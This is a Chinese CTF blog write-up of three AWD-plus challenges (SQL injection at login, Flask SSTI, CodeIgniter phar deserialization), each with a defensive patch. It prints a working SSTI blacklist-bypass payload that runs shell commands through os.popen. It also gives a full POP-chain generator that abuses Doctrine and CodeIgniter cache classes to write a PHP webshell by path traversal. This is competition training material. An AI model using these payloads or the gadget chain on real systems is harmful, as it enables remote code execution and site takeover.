c1ay's blog

2022长城杯awdplus

字数统计: 1.7k阅读时长: 9 min
2022/09/29 Share

2022长城杯awdplus

admin_page

登录处用户名参数存在注入,直接写马读取flag即可

mark

mark

防御,addslashes

1
2
$username = addslashes($_POST['username']);
$password = addslashes($_POST['password']);

numflask

flask ssti,但是题目没给源码,需要通过获取shell后得到源码提交修复补丁

通过黑盒测试发现过滤了数字和.等字符

bypass,寻找到os模块执行命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /name.php HTTP/1.1
Host: eci-2zei55fwivfq7zyfjddk.cloudeci1.ichunqiu.com:8888
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 410
Origin: http://eci-2zei55fwivfq7zyfjddk.cloudeci1.ichunqiu.com:8888
Connection: closea
Referer: http://eci-2zei55fwivfq7zyfjddk.cloudeci1.ichunqiu.com:8888/
Upgrade-Insecure-Requests: 1
name={{''["__class__"]["__mro__"][dict(a=a)|join|count]["__subclasses__"]()[dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count]["__init__"]["__glo" "bals__"]['os']['popen']('cat /app/app*')['read']()}}

获取到flag和源码:

mark

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from flask import Flask, render_template, request, send_from_directory, render_template_string
app = Flask(__name__)
blacklists = ["1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "lipsum", ".", "global", "request", "config", "builtins", "%"]
@app.route('/', methods=['POST', 'GET'])
@app.route('/index.php', methods=['POST', 'GET'])
def Hello():
return render_template("index.html")
@app.route('/name.php', methods=['POST'])
def Name():
name = request.form['name']
for blacklist in blacklists:
if blacklist in str(name).lower():
template = '<h2>Good Job %s!</h2>' % "nooo"
return render_template_string(template)
template = '<h2>Good Job %s!</h2>' % name
return render_template_string(template, name=name)
@app.route('/robots.txt')
def static_from_root():
return send_from_directory(app.static_folder, request.path[1:])
@app.errorhandler(404)
def miss(e):
return """ <html> <head><title>404 Not Found</title></head> <body bgcolor="white"> <center><h1>404 Not Found</h1></center> <hr><center></center> </body> </html> """, 404
if __name__ == '__main__':
app.run(debug="false", host='0.0.0.0', port=8888)

防御,去除{}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from flask import Flask, render_template, request, send_from_directory, render_template_string
app = Flask(__name__)
blacklists = ["1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "lipsum", ".", "global", "request", "config", "builtins", "%"]
@app.route('/', methods=['POST', 'GET'])
@app.route('/index.php', methods=['POST', 'GET'])
def Hello():
return render_template("index.html")
@app.route('/name.php', methods=['POST'])
def Name():
name = request.form['name'].strip("{").strip("}")
for blacklist in blacklists:
if blacklist in str(name).lower():
template = '<h2>Good Job %s!</h2>' % "nooo"
return render_template_string(template)
template = '<h2>Good Job %s!</h2>' % name
return render_template_string(template, name=name)
@app.route('/robots.txt')
def static_from_root():
return send_from_directory(app.static_folder, request.path[1:])
@app.errorhandler(404)
def miss(e):
return """ <html> <head><title>404 Not Found</title></head> <body bgcolor="white"> <center><h1>404 Not Found</h1></center> <hr><center></center> </body> </html> """, 404
if __name__ == '__main__':
app.run(debug="false", host='0.0.0.0', port=8888)

codeinlog

application/controllers/Upload.php

mark

上传文件到application/cache/upload.log,读取并输出,所以这里看起来是安全的

application/controllers/Welcome.php

mark

存在风险:可以传入phar触发反序列化

漏洞修复:

直接过滤phar://

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function index()
{
$file = $this->input->get('file');
if(stripos($file,"phar://")!==false)
{
die();
}
if (isset($file)) {
$this->load->view('welcome_message', array('content'=> file_get_contents($file)));
} else {
$this->load->view('upload_form', array('error' => ''));
}
}

防御成功,拿到防御分值

攻击分值现场队伍0解,赛后复现了一下

pop链挖掘:

全局搜索__destruct起点,找到:

vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php->CacheAdapter->__destruct

mark

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace Doctrine\Common\Cache\Psr6;
...
final class CacheAdapter implements CacheItemPoolInterface
{
...
public function __destruct()
{
$this->commit();
}
...
}

定位到:

vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php->CacheAdapter->commit

mark

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
namespace Doctrine\Common\Cache\Psr6;
...
final class CacheAdapter implements CacheItemPoolInterface
{
...
public function commit(): bool
{
if (! $this->deferredItems) {
return true;
}
$now = microtime(true);
$itemsCount = 0;
$byLifetime = [];
$expiredKeys = [];
foreach ($this->deferredItems as $key => $item) {
$lifetime = ($item->getExpiry() ?? $now) - $now;
if ($lifetime < 0) {
$expiredKeys[] = $key;
continue;
}
++$itemsCount;
$byLifetime[(int) $lifetime][$key] = $item->get();
}
switch (count($expiredKeys)) {
case 0:
break;
case 1:
$this->cache->delete(current($expiredKeys));
break;
default:
$this->doDeleteMultiple($expiredKeys);
break;
}
if ($itemsCount === 1) {
return $this->cache->save($key, $item->get(), (int) $lifetime);
}
$success = true;
foreach ($byLifetime as $lifetime => $values) {
$success = $this->doSaveMultiple($values, $lifetime) && $success;
}
return $success;
}
...
}

$key$item均来自$this->deferredItems,$this->deferredItems成员变量可控

全局搜索可利用的save方法,找到:
system/libraries/Cache/Cache.php->CI_Cache->save

mark

1
2
3
4
5
6
7
8
9
<?php
class CI_Cache extends CI_Driver_Library {
...
public function save($id, $data, $ttl = 60, $raw = FALSE)
{
return $this->{$this->_adapter}->save($this->key_prefix.$id, $data, $ttl, $raw);
}
...
}

$this->_adapter可控,且父类CI_Driver_Library存在__get方法,发现可以通过传入的$this->_adapter加载并实例化指定的类

system/libraries/Driver.php->CI_Driver_Library->__get->load_driver

mark

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
<?php
class CI_Driver_Library {
...
public function __get($child)
{
// Try to load the driver
return $this->load_driver($child);
}
public function load_driver($child)
{
// Get CodeIgniter instance and subclass prefix
$prefix = config_item('subclass_prefix');
if ( ! isset($this->lib_name))
{
// Get library name without any prefix
$this->lib_name = str_replace(array('CI_', $prefix), '', get_class($this));
}
// The child will be prefixed with the parent lib
$child_name = $this->lib_name.'_'.$child;
// See if requested child is a valid driver
if ( ! in_array($child, $this->valid_drivers))
{
// The requested driver isn't valid!
$msg = 'Invalid driver requested: '.$child_name;
log_message('error', $msg);
show_error($msg);
}
// Get package paths and filename case variations to search
$CI = get_instance();
$paths = $CI->load->get_package_paths(TRUE);
// Is there an extension?
$class_name = $prefix.$child_name;
$found = class_exists($class_name, FALSE);
if ( ! $found)
{
// Check for subclass file
foreach ($paths as $path)
{
// Does the file exist?
$file = $path.'libraries/'.$this->lib_name.'/drivers/'.$prefix.$child_name.'.php';
if (file_exists($file))
{
// Yes - require base class from BASEPATH
$basepath = BASEPATH.'libraries/'.$this->lib_name.'/drivers/'.$child_name.'.php';
if ( ! file_exists($basepath))
{
$msg = 'Unable to load the requested class: CI_'.$child_name;
log_message('error', $msg);
show_error($msg);
}
// Include both sources and mark found
include_once($basepath);
include_once($file);
$found = TRUE;
break;
}
}
}
// Do we need to search for the class?
if ( ! $found)
{
// Use standard class name
$class_name = 'CI_'.$child_name;
if ( ! class_exists($class_name, FALSE))
{
// Check package paths
foreach ($paths as $path)
{
// Does the file exist?
$file = $path.'libraries/'.$this->lib_name.'/drivers/'.$child_name.'.php';
if (file_exists($file))
{
// Include source
include_once($file);
break;
}
}
}
}
// Did we finally find the class?
if ( ! class_exists($class_name, FALSE))
{
if (class_exists($child_name, FALSE))
{
$class_name = $child_name;
}
else
{
$msg = 'Unable to load the requested driver: '.$class_name;
log_message('error', $msg);
show_error($msg);
}
}
// Instantiate, decorate and add child
$obj = new $class_name();
$obj->decorate($this);
$this->$child = $obj;
return $this->$child;
}
...
}

所以这里可以将$this->_adapter设为file,加载system/libraries/Cache/drivers/Cache_file.php,调用CI_Cache_file类的save方法,写入webshell

mark

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class CI_Cache_file extends CI_Driver {
...
protected $_cache_path;
...
public function __construct()
{
....
$this->_cache_path = ($path === '') ? APPPATH.'cache/' : $path;
....
}
...
public function save($id, $data, $ttl = 60, $raw = FALSE)
{
$contents = array(
'time' => time(),
'ttl' => $ttl,
'data' => $data
);
if (write_file($this->_cache_path.$id, serialize($contents)))
{
chmod($this->_cache_path.$id, 0640);
return TRUE;
}
return FALSE;
}
...
}

回到:
vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php->CacheAdapter->commit

如何通过$this->deferredItems控制写入的文件路径和内容?

文件路径写入位置为:APPPATH.'cache/':application/cache

可以设置写入路径为../../xxx.php,写入根目录

文件内容来自$item->get(),全局搜索get方法,找到:

vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheItem.php->get

mark

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
namespace Doctrine\Common\Cache\Psr6;
final class CacheItem implements CacheItemInterface
{
...
private $value;
...
public function get()
{
return $this->value;
}
...
}

$this->value可以设置成文件内容,通过get获取到

pop链构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
namespace
{
class CI_Cache
{
protected $_adapter;
public function __construct()
{
$this->_adapter="file";
}
}
}
namespace Doctrine\Common\Cache\Psr6{
class CacheItem
{
private $value;
public function __construct()
{
$this->value="<?php phpinfo();?>";
}
}
class CacheAdapter
{
private $cache;
private $deferredItems = [];
public function __construct()
{
$this->cache=new \CI_Cache();
$this->deferredItems=array("../../aaa.php"=>new CacheItem());
}
}
$a = new CacheAdapter();
echo urlencode(serialize($a));
}
?>
CATALOG
  1. 1. 2022长城杯awdplus
    1. 1.0.1. admin_page
    2. 1.0.2. numflask
    3. 1.0.3. codeinlog